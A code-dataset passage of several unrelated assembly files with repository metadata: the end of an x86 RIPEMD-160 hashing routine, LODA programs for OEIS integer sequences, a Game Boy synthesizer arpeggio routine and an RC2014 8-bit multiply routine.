mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 2840853838[edx*1+ebp]
sub eax, esi
rol ebp, 5
add ebp, ebx
; 67
mov edx, DWORD PTR 36[esp]
or eax, ecx
add ebx, edx
xor eax, ebp
mov edx, -1
rol ecx, 10
lea ebx, DWORD PTR 2840853838[eax*1+ebx]
sub edx, ecx
rol ebx, 11
add ebx, edi
; 68
mov eax, DWORD PTR 28[esp]
or edx, ebp
add edi, eax
xor edx, ebx
mov eax, -1
rol ebp, 10
lea edi, DWORD PTR 2840853838[edx*1+edi]
sub eax, ebp
rol edi, 6
add edi, esi
; 69
mov edx, DWORD PTR 48[esp]
or eax, ebx
add esi, edx
xor eax, edi
mov edx, -1
rol ebx, 10
lea esi, DWORD PTR 2840853838[eax*1+esi]
sub edx, ebx
rol esi, 8
add esi, ecx
; 70
mov eax, DWORD PTR 8[esp]
or edx, edi
add ecx, eax
xor edx, esi
mov eax, -1
rol edi, 10
lea ecx, DWORD PTR 2840853838[edx*1+ecx]
sub eax, edi
rol ecx, 13
add ecx, ebp
; 71
mov edx, DWORD PTR 40[esp]
or eax, esi
add ebp, edx
xor eax, ecx
mov edx, -1
rol esi, 10
lea ebp, DWORD PTR 2840853838[eax*1+ebp]
sub edx, esi
rol ebp, 12
add ebp, ebx
; 72
mov eax, DWORD PTR 56[esp]
or edx, ecx
add ebx, eax
xor edx, ebp
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 2840853838[edx*1+ebx]
sub eax, ecx
rol ebx, 5
add ebx, edi
; 73
mov edx, DWORD PTR 4[esp]
or eax, ebp
add edi, edx
xor eax, ebx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 2840853838[eax*1+edi]
sub edx, ebp
rol edi, 12
add edi, esi
; 74
mov eax, DWORD PTR 12[esp]
or edx, ebx
add esi, eax
xor edx, edi
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 2840853838[edx*1+esi]
sub eax, ebx
rol esi, 13
add esi, ecx
; 75
mov edx, DWORD PTR 32[esp]
or eax, edi
add ecx, edx
xor eax, esi
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 2840853838[eax*1+ecx]
sub edx, edi
rol ecx, 14
add ecx, ebp
; 76
mov eax, DWORD PTR 44[esp]
or edx, esi
add ebp, eax
xor edx, ecx
mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 2840853838[edx*1+ebp]
sub eax, esi
rol ebp, 11
add ebp, ebx
; 77
mov edx, DWORD PTR 24[esp]
or eax, ecx
add ebx, edx
xor eax, ebp
mov edx, -1
rol ecx, 10
lea ebx, DWORD PTR 2840853838[eax*1+ebx]
sub edx, ecx
rol ebx, 8
add ebx, edi
; 78
mov eax, DWORD PTR 60[esp]
or edx, ebp
add edi, eax
xor edx, ebx
mov eax, -1
rol ebp, 10
lea edi, DWORD PTR 2840853838[edx*1+edi]
sub eax, ebp
rol edi, 5
add edi, esi
; 79
mov edx, DWORD PTR 52[esp]
or eax, ebx
add esi, edx
xor eax, edi
mov edx, DWORD PTR 128[esp]
rol ebx, 10
lea esi, DWORD PTR 2840853838[eax*1+esi]
mov DWORD PTR 64[esp],ecx
rol esi, 6
add esi, ecx
mov ecx, DWORD PTR [edx]
mov DWORD PTR 68[esp],esi
mov DWORD PTR 72[esp],edi
mov esi, DWORD PTR 4[edx]
mov DWORD PTR 76[esp],ebx
mov edi, DWORD PTR 8[edx]
mov DWORD PTR 80[esp],ebp
mov ebx, DWORD PTR 12[edx]
mov ebp, DWORD PTR 16[edx]
; 80
mov edx, -1
sub edx, ebx
mov eax, DWORD PTR 20[esp]
or edx, edi
add ecx, eax
xor edx, esi
mov eax, -1
rol edi, 10
lea ecx, DWORD PTR 1352829926[edx*1+ecx]
sub eax, edi
rol ecx, 8
add ecx, ebp
; 81
mov edx, DWORD PTR 56[esp]
or eax, esi
add ebp, edx
xor eax, ecx
mov edx, -1
rol esi, 10
lea ebp, DWORD PTR 1352829926[eax*1+ebp]
sub edx, esi
rol ebp, 9
add ebp, ebx
; 82
mov eax, DWORD PTR 28[esp]
or edx, ecx
add ebx, eax
xor edx, ebp
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 1352829926[edx*1+ebx]
sub eax, ecx
rol ebx, 9
add ebx, edi
; 83
mov edx, DWORD PTR [esp]
or eax, ebp
add edi, edx
xor eax, ebx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 1352829926[eax*1+edi]
sub edx, ebp
rol edi, 11
add edi, esi
; 84
mov eax, DWORD PTR 36[esp]
or edx, ebx
add esi, eax
xor edx, edi
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 1352829926[edx*1+esi]
sub eax, ebx
rol esi, 13
add esi, ecx
; 85
mov edx, DWORD PTR 8[esp]
or eax, edi
add ecx, edx
xor eax, esi
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 1352829926[eax*1+ecx]
sub edx, edi
rol ecx, 15
add ecx, ebp
; 86
mov eax, DWORD PTR 44[esp]
or edx, esi
add ebp, eax
xor edx, ecx
mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 1352829926[edx*1+ebp]
sub eax, esi
rol ebp, 15
add ebp, ebx
; 87
mov edx, DWORD PTR 16[esp]
or eax, ecx
add ebx, edx
xor eax, ebp
mov edx, -1
rol ecx, 10
lea ebx, DWORD PTR 1352829926[eax*1+ebx]
sub edx, ecx
rol ebx, 5
add ebx, edi
; 88
mov eax, DWORD PTR 52[esp]
or edx, ebp
add edi, eax
xor edx, ebx
mov eax, -1
rol ebp, 10
lea edi, DWORD PTR 1352829926[edx*1+edi]
sub eax, ebp
rol edi, 7
add edi, esi
; 89
mov edx, DWORD PTR 24[esp]
or eax, ebx
add esi, edx
xor eax, edi
mov edx, -1
rol ebx, 10
lea esi, DWORD PTR 1352829926[eax*1+esi]
sub edx, ebx
rol esi, 7
add esi, ecx
; 90
mov eax, DWORD PTR 60[esp]
or edx, edi
add ecx, eax
xor edx, esi
mov eax, -1
rol edi, 10
lea ecx, DWORD PTR 1352829926[edx*1+ecx]
sub eax, edi
rol ecx, 8
add ecx, ebp
; 91
mov edx, DWORD PTR 32[esp]
or eax, esi
add ebp, edx
xor eax, ecx
mov edx, -1
rol esi, 10
lea ebp, DWORD PTR 1352829926[eax*1+ebp]
sub edx, esi
rol ebp, 11
add ebp, ebx
; 92
mov eax, DWORD PTR 4[esp]
or edx, ecx
add ebx, eax
xor edx, ebp
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 1352829926[edx*1+ebx]
sub eax, ecx
rol ebx, 14
add ebx, edi
; 93
mov edx, DWORD PTR 40[esp]
or eax, ebp
add edi, edx
xor eax, ebx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 1352829926[eax*1+edi]
sub edx, ebp
rol edi, 14
add edi, esi
; 94
mov eax, DWORD PTR 12[esp]
or edx, ebx
add esi, eax
xor edx, edi
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 1352829926[edx*1+esi]
sub eax, ebx
rol esi, 12
add esi, ecx
; 95
mov edx, DWORD PTR 48[esp]
or eax, edi
add ecx, edx
xor eax, esi
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 1352829926[eax*1+ecx]
mov eax, edi
rol ecx, 6
add ecx, ebp
; 96
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 24[esp]
rol esi, 10
lea ebp, DWORD PTR 1548603684[edx+ebp]
mov edx, -1
add ebp, eax
mov eax, esi
rol ebp, 9
add ebp, ebx
; 97
sub edx, esi
and eax, ebp
and edx, ecx
or edx, eax
mov eax, DWORD PTR 44[esp]
rol ecx, 10
lea ebx, DWORD PTR 1548603684[edx+ebx]
mov edx, -1
add ebx, eax
mov eax, ecx
rol ebx, 13
add ebx, edi
; 98
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 12[esp]
rol ebp, 10
lea edi, DWORD PTR 1548603684[edx+edi]
mov edx, -1
add edi, eax
mov eax, ebp
rol edi, 15
add edi, esi
; 99
sub edx, ebp
and eax, edi
and edx, ebx
or edx, eax
mov eax, DWORD PTR 28[esp]
rol ebx, 10
lea esi, DWORD PTR 1548603684[edx+esi]
mov edx, -1
add esi, eax
mov eax, ebx
rol esi, 7
add esi, ecx
; 100
sub edx, ebx
and eax, esi
and edx, edi
or edx, eax
mov eax, DWORD PTR [esp]
rol edi, 10
lea ecx, DWORD PTR 1548603684[edx+ecx]
mov edx, -1
add ecx, eax
mov eax, edi
rol ecx, 12
add ecx, ebp
; 101
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 52[esp]
rol esi, 10
lea ebp, DWORD PTR 1548603684[edx+ebp]
mov edx, -1
add ebp, eax
mov eax, esi
rol ebp, 8
add ebp, ebx
; 102
sub edx, esi
and eax, ebp
and edx, ecx
or edx, eax
mov eax, DWORD PTR 20[esp]
rol ecx, 10
lea ebx, DWORD PTR 1548603684[edx+ebx]
mov edx, -1
add ebx, eax
mov eax, ecx
rol ebx, 9
add ebx, edi
; 103
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 40[esp]
rol ebp, 10
lea edi, DWORD PTR 1548603684[edx+edi]
mov edx, -1
add edi, eax
mov eax, ebp
rol edi, 11
add edi, esi
; 104
sub edx, ebp
and eax, edi
and edx, ebx
or edx, eax
mov eax, DWORD PTR 56[esp]
rol ebx, 10
lea esi, DWORD PTR 1548603684[edx+esi]
mov edx, -1
add esi, eax
mov eax, ebx
rol esi, 7
add esi, ecx
; 105
sub edx, ebx
and eax, esi
and edx, edi
or edx, eax
mov eax, DWORD PTR 60[esp]
rol edi, 10
lea ecx, DWORD PTR 1548603684[edx+ecx]
mov edx, -1
add ecx, eax
mov eax, edi
rol ecx, 7
add ecx, ebp
; 106
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 32[esp]
rol esi, 10
lea ebp, DWORD PTR 1548603684[edx+ebp]
mov edx, -1
add ebp, eax
mov eax, esi
rol ebp, 12
add ebp, ebx
; 107
sub edx, esi
and eax, ebp
and edx, ecx
or edx, eax
mov eax, DWORD PTR 48[esp]
rol ecx, 10
lea ebx, DWORD PTR 1548603684[edx+ebx]
mov edx, -1
add ebx, eax
mov eax, ecx
rol ebx, 7
add ebx, edi
; 108
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 16[esp]
rol ebp, 10
lea edi, DWORD PTR 1548603684[edx+edi]
mov edx, -1
add edi, eax
mov eax, ebp
rol edi, 6
add edi, esi
; 109
sub edx, ebp
and eax, edi
and edx, ebx
or edx, eax
mov eax, DWORD PTR 36[esp]
rol ebx, 10
lea esi, DWORD PTR 1548603684[edx+esi]
mov edx, -1
add esi, eax
mov eax, ebx
rol esi, 15
add esi, ecx
; 110
sub edx, ebx
and eax, esi
and edx, edi
or edx, eax
mov eax, DWORD PTR 4[esp]
rol edi, 10
lea ecx, DWORD PTR 1548603684[edx+ecx]
mov edx, -1
add ecx, eax
mov eax, edi
rol ecx, 13
add ecx, ebp
; 111
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 8[esp]
rol esi, 10
lea ebp, DWORD PTR 1548603684[edx+ebp]
mov edx, -1
add ebp, eax
sub edx, ecx
rol ebp, 11
add ebp, ebx
; 112
mov eax, DWORD PTR 60[esp]
or edx, ebp
add ebx, eax
xor edx, esi
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 1836072691[edx*1+ebx]
sub eax, ebp
rol ebx, 9
add ebx, edi
; 113
mov edx, DWORD PTR 20[esp]
or eax, ebx
add edi, edx
xor eax, ecx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 1836072691[eax*1+edi]
sub edx, ebx
rol edi, 7
add edi, esi
; 114
mov eax, DWORD PTR 4[esp]
or edx, edi
add esi, eax
xor edx, ebp
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 1836072691[edx*1+esi]
sub eax, edi
rol esi, 15
add esi, ecx
; 115
mov edx, DWORD PTR 12[esp]
or eax, esi
add ecx, edx
xor eax, ebx
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 1836072691[eax*1+ecx]
sub edx, esi
rol ecx, 11
add ecx, ebp
; 116
mov eax, DWORD PTR 28[esp]
or edx, ecx
add ebp, eax
xor edx, edi
mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 1836072691[edx*1+ebp]
sub eax, ecx
rol ebp, 8
add ebp, ebx
; 117
mov edx, DWORD PTR 56[esp]
or eax, ebp
add ebx, edx
xor eax, esi
mov edx, -1
rol ecx, 10
lea ebx, DWORD PTR 1836072691[eax*1+ebx]
sub edx, ebp
rol ebx, 6
add ebx, edi
; 118
mov eax, DWORD PTR 24[esp]
or edx, ebx
add edi, eax
xor edx, ecx
mov eax, -1
rol ebp, 10
lea edi, DWORD PTR 1836072691[edx*1+edi]
sub eax, ebx
rol edi, 6
add edi, esi
; 119
mov edx, DWORD PTR 36[esp]
or eax, edi
add esi, edx
xor eax, ebp
mov edx, -1
rol ebx, 10
lea esi, DWORD PTR 1836072691[eax*1+esi]
sub edx, edi
rol esi, 14
add esi, ecx
; 120
mov eax, DWORD PTR 44[esp]
or edx, esi
add ecx, eax
xor edx, ebx
mov eax, -1
rol edi, 10
lea ecx, DWORD PTR 1836072691[edx*1+ecx]
sub eax, esi
rol ecx, 12
add ecx, ebp
; 121
mov edx, DWORD PTR 32[esp]
or eax, ecx
add ebp, edx
xor eax, edi
mov edx, -1
rol esi, 10
lea ebp, DWORD PTR 1836072691[eax*1+ebp]
sub edx, ecx
rol ebp, 13
add ebp, ebx
; 122
mov eax, DWORD PTR 48[esp]
or edx, ebp
add ebx, eax
xor edx, esi
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 1836072691[edx*1+ebx]
sub eax, ebp
rol ebx, 5
add ebx, edi
; 123
mov edx, DWORD PTR 8[esp]
or eax, ebx
add edi, edx
xor eax, ecx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 1836072691[eax*1+edi]
sub edx, ebx
rol edi, 14
add edi, esi
; 124
mov eax, DWORD PTR 40[esp]
or edx, edi
add esi, eax
xor edx, ebp
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 1836072691[edx*1+esi]
sub eax, edi
rol esi, 13
add esi, ecx
; 125
mov edx, DWORD PTR [esp]
or eax, esi
add ecx, edx
xor eax, ebx
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 1836072691[eax*1+ecx]
sub edx, esi
rol ecx, 13
add ecx, ebp
; 126
mov eax, DWORD PTR 16[esp]
or edx, ecx
add ebp, eax
xor edx, edi
mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 1836072691[edx*1+ebp]
sub eax, ecx
rol ebp, 7
add ebp, ebx
; 127
mov edx, DWORD PTR 52[esp]
or eax, ebp
add ebx, edx
xor eax, esi
mov edx, DWORD PTR 32[esp]
rol ecx, 10
lea ebx, DWORD PTR 1836072691[eax*1+ebx]
mov eax, -1
rol ebx, 5
add ebx, edi
; 128
add edi, edx
mov edx, ebp
sub eax, ebx
and edx, ebx
and eax, ecx
or edx, eax
mov eax, DWORD PTR 24[esp]
rol ebp, 10
lea edi, DWORD PTR 2053994217[edx*1+edi]
mov edx, -1
rol edi, 15
add edi, esi
; 129
add esi, eax
mov eax, ebx
sub edx, edi
and eax, edi
and edx, ebp
or eax, edx
mov edx, DWORD PTR 16[esp]
rol ebx, 10
lea esi, DWORD PTR 2053994217[eax*1+esi]
mov eax, -1
rol esi, 5
add esi, ecx
; 130
add ecx, edx
mov edx, edi
sub eax, esi
and edx, esi
and eax, ebx
or edx, eax
mov eax, DWORD PTR 4[esp]
rol edi, 10
lea ecx, DWORD PTR 2053994217[edx*1+ecx]
mov edx, -1
rol ecx, 8
add ecx, ebp
; 131
add ebp, eax
mov eax, esi
sub edx, ecx
and eax, ecx
and edx, edi
or eax, edx
mov edx, DWORD PTR 12[esp]
rol esi, 10
lea ebp, DWORD PTR 2053994217[eax*1+ebp]
mov eax, -1
rol ebp, 11
add ebp, ebx
; 132
add ebx, edx
mov edx, ecx
sub eax, ebp
and edx, ebp
and eax, esi
or edx, eax
mov eax, DWORD PTR 44[esp]
rol ecx, 10
lea ebx, DWORD PTR 2053994217[edx*1+ebx]
mov edx, -1
rol ebx, 14
add ebx, edi
; 133
add edi, eax
mov eax, ebp
sub edx, ebx
and eax, ebx
and edx, ecx
or eax, edx
mov edx, DWORD PTR 60[esp]
rol ebp, 10
lea edi, DWORD PTR 2053994217[eax*1+edi]
mov eax, -1
rol edi, 14
add edi, esi
; 134
add esi, edx
mov edx, ebx
sub eax, edi
and edx, edi
and eax, ebp
or edx, eax
mov eax, DWORD PTR [esp]
rol ebx, 10
lea esi, DWORD PTR 2053994217[edx*1+esi]
mov edx, -1
rol esi, 6
add esi, ecx
; 135
add ecx, eax
mov eax, edi
sub edx, esi
and eax, esi
and edx, ebx
or eax, edx
mov edx, DWORD PTR 20[esp]
rol edi, 10
lea ecx, DWORD PTR 2053994217[eax*1+ecx]
mov eax, -1
rol ecx, 14
add ecx, ebp
; 136
add ebp, edx
mov edx, esi
sub eax, ecx
and edx, ecx
and eax, edi
or edx, eax
mov eax, DWORD PTR 48[esp]
rol esi, 10
lea ebp, DWORD PTR 2053994217[edx*1+ebp]
mov edx, -1
rol ebp, 6
add ebp, ebx
; 137
add ebx, eax
mov eax, ecx
sub edx, ebp
and eax, ebp
and edx, esi
or eax, edx
mov edx, DWORD PTR 8[esp]
rol ecx, 10
lea ebx, DWORD PTR 2053994217[eax*1+ebx]
mov eax, -1
rol ebx, 9
add ebx, edi
; 138
add edi, edx
mov edx, ebp
sub eax, ebx
and edx, ebx
and eax, ecx
or edx, eax
mov eax, DWORD PTR 52[esp]
rol ebp, 10
lea edi, DWORD PTR 2053994217[edx*1+edi]
mov edx, -1
rol edi, 12
add edi, esi
; 139
add esi, eax
mov eax, ebx
sub edx, edi
and eax, edi
and edx, ebp
or eax, edx
mov edx, DWORD PTR 36[esp]
rol ebx, 10
lea esi, DWORD PTR 2053994217[eax*1+esi]
mov eax, -1
rol esi, 9
add esi, ecx
; 140
add ecx, edx
mov edx, edi
sub eax, esi
and edx, esi
and eax, ebx
or edx, eax
mov eax, DWORD PTR 28[esp]
rol edi, 10
lea ecx, DWORD PTR 2053994217[edx*1+ecx]
mov edx, -1
rol ecx, 12
add ecx, ebp
; 141
add ebp, eax
mov eax, esi
sub edx, ecx
and eax, ecx
and edx, edi
or eax, edx
mov edx, DWORD PTR 40[esp]
rol esi, 10
lea ebp, DWORD PTR 2053994217[eax*1+ebp]
mov eax, -1
rol ebp, 5
add ebp, ebx
; 142
add ebx, edx
mov edx, ecx
sub eax, ebp
and edx, ebp
and eax, esi
or edx, eax
mov eax, DWORD PTR 56[esp]
rol ecx, 10
lea ebx, DWORD PTR 2053994217[edx*1+ebx]
mov edx, -1
rol ebx, 15
add ebx, edi
; 143
add edi, eax
mov eax, ebp
sub edx, ebx
and eax, ebx
and edx, ecx
or edx, eax
mov eax, ebx
rol ebp, 10
lea edi, DWORD PTR 2053994217[edx*1+edi]
xor eax, ebp
rol edi, 8
add edi, esi
; 144
mov edx, DWORD PTR 48[esp]
xor eax, edi
add esi, edx
rol ebx, 10
add esi, eax
mov eax, edi
rol esi, 8
add esi, ecx
; 145
xor eax, ebx
mov edx, DWORD PTR 60[esp]
xor eax, esi
add ecx, eax
mov eax, esi
rol edi, 10
add ecx, edx
xor eax, edi
rol ecx, 5
add ecx, ebp
; 146
mov edx, DWORD PTR 40[esp]
xor eax, ecx
add ebp, edx
rol esi, 10
add ebp, eax
mov eax, ecx
rol ebp, 12
add ebp, ebx
; 147
xor eax, esi
mov edx, DWORD PTR 16[esp]
xor eax, ebp
add ebx, eax
mov eax, ebp
rol ecx, 10
add ebx, edx
xor eax, ecx
rol ebx, 9
add ebx, edi
; 148
mov edx, DWORD PTR 4[esp]
xor eax, ebx
add edi, edx
rol ebp, 10
add edi, eax
mov eax, ebx
rol edi, 12
add edi, esi
; 149
xor eax, ebp
mov edx, DWORD PTR 20[esp]
xor eax, edi
add esi, eax
mov eax, edi
rol ebx, 10
add esi, edx
xor eax, ebx
rol esi, 5
add esi, ecx
; 150
mov edx, DWORD PTR 32[esp]
xor eax, esi
add ecx, edx
rol edi, 10
add ecx, eax
mov eax, esi
rol ecx, 14
add ecx, ebp
; 151
xor eax, edi
mov edx, DWORD PTR 28[esp]
xor eax, ecx
add ebp, eax
mov eax, ecx
rol esi, 10
add ebp, edx
xor eax, esi
rol ebp, 6
add ebp, ebx
; 152
mov edx, DWORD PTR 24[esp]
xor eax, ebp
add ebx, edx
rol ecx, 10
add ebx, eax
mov eax, ebp
rol ebx, 8
add ebx, edi
; 153
xor eax, ecx
mov edx, DWORD PTR 8[esp]
xor eax, ebx
add edi, eax
mov eax, ebx
rol ebp, 10
add edi, edx
xor eax, ebp
rol edi, 13
add edi, esi
; 154
mov edx, DWORD PTR 52[esp]
xor eax, edi
add esi, edx
rol ebx, 10
add esi, eax
mov eax, edi
rol esi, 6
add esi, ecx
; 155
xor eax, ebx
mov edx, DWORD PTR 56[esp]
xor eax, esi
add ecx, eax
mov eax, esi
rol edi, 10
add ecx, edx
xor eax, edi
rol ecx, 5
add ecx, ebp
; 156
mov edx, DWORD PTR [esp]
xor eax, ecx
add ebp, edx
rol esi, 10
add ebp, eax
mov eax, ecx
rol ebp, 15
add ebp, ebx
; 157
xor eax, esi
mov edx, DWORD PTR 12[esp]
xor eax, ebp
add ebx, eax
mov eax, ebp
rol ecx, 10
add ebx, edx
xor eax, ecx
rol ebx, 13
add ebx, edi
; 158
mov edx, DWORD PTR 36[esp]
xor eax, ebx
add edi, edx
rol ebp, 10
add edi, eax
mov eax, ebx
rol edi, 11
add edi, esi
; 159
xor eax, ebp
mov edx, DWORD PTR 44[esp]
xor eax, edi
add esi, eax
rol ebx, 10
add esi, edx
mov edx, DWORD PTR 128[esp]
rol esi, 11
add esi, ecx
mov eax, DWORD PTR 4[edx]
add ebx, eax
mov eax, DWORD PTR 72[esp]
add ebx, eax
mov eax, DWORD PTR 8[edx]
add ebp, eax
mov eax, DWORD PTR 76[esp]
add ebp, eax
mov eax, DWORD PTR 12[edx]
add ecx, eax
mov eax, DWORD PTR 80[esp]
add ecx, eax
mov eax, DWORD PTR 16[edx]
add esi, eax
mov eax, DWORD PTR 64[esp]
add esi, eax
mov eax, DWORD PTR [edx]
add edi, eax
mov eax, DWORD PTR 68[esp]
add edi, eax
mov eax, DWORD PTR 136[esp]
mov DWORD PTR [edx],ebx
mov DWORD PTR 4[edx],ebp
mov DWORD PTR 8[edx],ecx
sub eax, 1
mov DWORD PTR 12[edx],esi
mov DWORD PTR 16[edx],edi
jle $L001get_out
mov DWORD PTR 136[esp],eax
mov edi, ecx
mov eax, DWORD PTR 132[esp]
mov ecx, ebx
add eax, 64
mov esi, ebp
mov DWORD PTR 132[esp],eax
jmp $L000start
$L001get_out:
add esp, 108
pop ebx
pop ebp
pop edi
pop esi
ret
_ripemd160_block_asm_host_order ENDP
_TEXT ENDS
END
| 17.385005 | 74 | 0.614925 |
7c7591ded8b7d34234ef16c921910ca8917ba6b0 | 624 | asm | Assembly | oeis/045/A045366.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/045/A045366.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/045/A045366.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A045366: Primes congruent to {2, 5} mod 8.
; 2,5,13,29,37,53,61,101,109,149,157,173,181,197,229,269,277,293,317,349,373,389,397,421,461,509,541,557,613,653,661,677,701,709,733,757,773,797,821,829,853,877,941,997,1013,1021,1061,1069,1093,1109,1117,1181,1213,1229,1237,1277,1301,1373,1381,1429,1453,1493,1549,1597,1613,1621,1637,1669,1693,1709,1733,1741,1789,1861,1877,1901,1933,1949,1973,1997,2029,2053,2069,2141,2213,2221,2237,2269,2293,2309,2333,2341,2357,2381,2389,2437,2477,2549,2557,2621
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,186301 ; a(n) = A007521(n) - 2.
add $3,$2
div $0,$3
lpe
mov $0,$2
add $0,2
| 44.571429 | 448 | 0.705128 |
cdb58b142fcc7035978fc24b47c5292f44882e8b | 385 | asm | Assembly | src/arp.asm | furrtek/GB303 | 2f275fff085b05fdc7843074dcc062956a1d8d56 | [
"CC-BY-4.0"
] | 90 | 2015-06-19T14:26:19.000Z | 2022-01-05T08:19:41.000Z | src/arp.asm | furrtek/GB303 | 2f275fff085b05fdc7843074dcc062956a1d8d56 | [
"CC-BY-4.0"
] | 2 | 2015-06-21T20:55:40.000Z | 2022-02-09T08:02:04.000Z | src/arp.asm | furrtek/GB303 | 2f275fff085b05fdc7843074dcc062956a1d8d56 | [
"CC-BY-4.0"
] | 10 | 2015-06-21T20:43:11.000Z | 2020-12-08T13:24:16.000Z | arpcommon:
and $F
ld (ARPOFFSET),a
ld a,(ARPIDX)
inc a
cp 3
jr nz,+++
xor a
+++:
ld (ARPIDX),a
ld a,(DOSLIDE)
or a
ret nz
ld a,(LASTNOTE)
ld hl,ARPOFFSET
add (hl)
sla a
ld hl,notelut
rst 0
ld (FLOW),a
inc hl
ld a,(hl)
ld (FHIGH),a
ret
| 13.75 | 23 | 0.394805 |
3813fddcc4825d575b3ef9c56589ab34432048e2 | 556 | asm | Assembly | test/mul8bit.asm | feilipu/z80_crypto | 4b5dc6c6496fcf6cedb714a17b4d70c7fc35b2c1 | [
"MIT"
] | null | null | null | test/mul8bit.asm | feilipu/z80_crypto | 4b5dc6c6496fcf6cedb714a17b4d70c7fc35b2c1 | [
"MIT"
] | null | null | null | test/mul8bit.asm | feilipu/z80_crypto | 4b5dc6c6496fcf6cedb714a17b4d70c7fc35b2c1 | [
"MIT"
] | null | null | null | ; 8 x 8 to 16 bit multiplication
; In: B, C multiplicands
; Out: HL product
; Pollutes: AF, F', BC, DE
INCLUDE "config_rc2014_private.inc"
SECTION code_user
PUBLIC MUL8
MUL8:
ld l,c ; 4
ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address
out (c),l ; 12 operand X from L
in l,(c) ; 12 result Z LSB to L
inc c ; 4 result MSB address
in h,(c) ; 12 result Z MSB to H
ret ; 10
| 27.8 | 62 | 0.473022 |
c5357e33406e811e32a28d53ab824cd93cee9c0d | 777 | asm | Assembly | oeis/107/A107371.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/107/A107371.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/107/A107371.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A107371: Numbers k such that 101*k - 103 is prime.
; Submitted by Christian Krause
; 6,10,12,30,34,36,42,54,64,66,70,76,82,94,114,124,132,136,154,160,174,180,184,190,192,210,216,234,240,250,252,264,276,292,300,306,324,342,346,352,402,406,426,436,444,454,456,462,472,484,496,502,510,532,534,540,556,562,570,576,580,582,586,600,604,610,624,630,654,670,694,712,720,744,756,766,786,790,792,804,810,834,840,856,862,870,892,894,910,912,916,930,936,940,946,960,966,976,982,994
mov $1,1
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,48
sub $2,1
mov $3,$1
add $1,13
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,40
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,608
div $0,101
add $0,6
| 27.75 | 386 | 0.66538 |
9dae0d1c20098e6f3fa0b203f2a7a526e0aaf709 | 1,508 | asm | Assembly | programs/oeis/023/A023896.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/023/A023896.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/023/A023896.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A023896: Sum of positive integers in smallest positive reduced residue system modulo n. a(1) = 1 by convention.
